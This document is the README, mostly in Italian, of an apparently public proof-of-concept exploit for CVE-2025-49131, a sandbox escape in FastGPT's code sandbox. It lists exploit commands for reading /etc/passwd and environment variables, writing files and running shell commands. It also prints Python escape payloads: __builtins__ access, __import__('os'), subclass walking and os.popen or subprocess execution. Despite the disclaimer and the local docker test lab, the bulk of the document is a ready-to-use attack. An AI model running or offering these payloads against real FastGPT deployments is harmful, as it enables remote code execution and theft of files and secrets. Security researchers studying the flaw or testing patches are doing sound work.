
███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
█████╗ ███████║███████╗ ██║ ██║ ███╗██████╔╝ ██║
██╔══╝ ██╔══██║╚════██║ ██║ ██║ ██║██╔═══╝ ██║
██║ ██║ ██║███████║ ██║ ╚██████╔╝██║ ██║
╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝
███████╗ █████╗ ███╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗
██╔════╝██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
███████╗███████║██╔██╗ ██║██║ ██║██████╔╝██║ ██║ ╚███╔╝
╚════██║██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║ ██║ ██╔██╗
███████║██║ ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗
██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝
█████╗ ███████╗██║ ███████║██████╔╝█████╗
██╔══╝ ╚════██║██║ ██╔══██║██╔═══╝ ██╔══╝
███████╗███████║╚██████╗██║ ██║██║ ███████╗
╚══════╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚══════╝
╔═══════════════════════════════════════╗
║ CVE-2025-49131 | CVSS 6.3 ║
║ FastGPT Sandbox Container Escape ║
║ Affected: < v4.9.11 ║
╚═══════════════════════════════════════╝
Questo strumento è destinato esclusivamente a ricerca sulla sicurezza autorizzata e scopi educativi.
CVE-2025-49131 è una vulnerabilità di evasione della sandbox nel contenitore fastgpt-sandbox di FastGPT. La vulnerabilità esiste a causa di:
Uno sfruttamento riuscito consente a un attaccante di:
# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc
# Install dependencies
pip install -r requirements.txt
# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect
# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd
# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"
# Start vulnerable and patched containers
docker-compose up -d
# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002
python poc.py --target http://localhost:3001 --detect -v
python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ
python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"
python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess
python poc.py --target http://localhost:3001 --env
python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"
python poc.py --help
cve-2025-49131-poc/
├── poc.py # Main exploit script
├── payloads.py # Payload generator library
├── docker-compose.yml # Test environment
├── requirements.txt # Python dependencies
├── README.md # This file
└── tests/
└── test_exploit.py # Automated tests
La sandbox di FastGPT è progettata per eseguire codice inviato dall'utente in un ambiente isolato. Tuttavia, i meccanismi di isolamento sono insufficienti:
Accesso ai __builtins__ di Python - La sandbox non limita adeguatamente l'accesso a funzioni integrate come open(), __import__(), ecc.
Filtraggio delle syscall - L'elenco delle syscall consentite include chiamate pericolose che consentono l'accesso al file system
Bypass delle restrizioni sulle importazioni - Esistono molteplici tecniche per aggirare le restrizioni sull'importazione dei moduli
┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using: │
│ - __builtins__ manipulation │
│ - Subclass walking │
│ - Import bypass techniques │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to: │
│ - File system (read/write) │
│ - os/subprocess modules │
│ - Environment variables │
└─────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────┐
│ 4. Impact: │
│ - Data exfiltration │
│ - Code injection │
│ - Remote command execution │
└─────────────────────────────────────────────┘
Lettura File:
open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()
Bypass delle Importazioni:
__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__()
if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/HEAD/%27os%27)
RCE:
__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)
Cerca attività sospette nei log della sandbox:
/etc/passwd, /etc/shadow__builtins__, __import__| Data | Evento |
|---|---|
| 2025-??-?? | Vulnerabilità scoperta |
| 2025-??-?? | Fornitore notificato |
| 2025-06-?? | Patch rilasciata (v4.9.11) |
| 2025-06-09 | Divulgazione pubblica |
Questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata. Usalo in modo responsabile.
Creato per scopi di ricerca sulla sicurezza. Ottieni sempre la dovuta autorizzazione prima di testare.
| Campo | Valore |
|---|
| ID CVE | CVE-2025-49131 |
| Punteggio CVSS | 6.3 (Medio) |
| Vettore CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
| Tipo di vulnerabilità | Evasione della Sandbox |
| Software interessato | FastGPT (contenitore fastgpt-sandbox) |
| Versioni interessate | < 4.9.11 |
| Versione con patch | 4.9.11+ |
| Data di divulgazione | 9 giugno 2025 |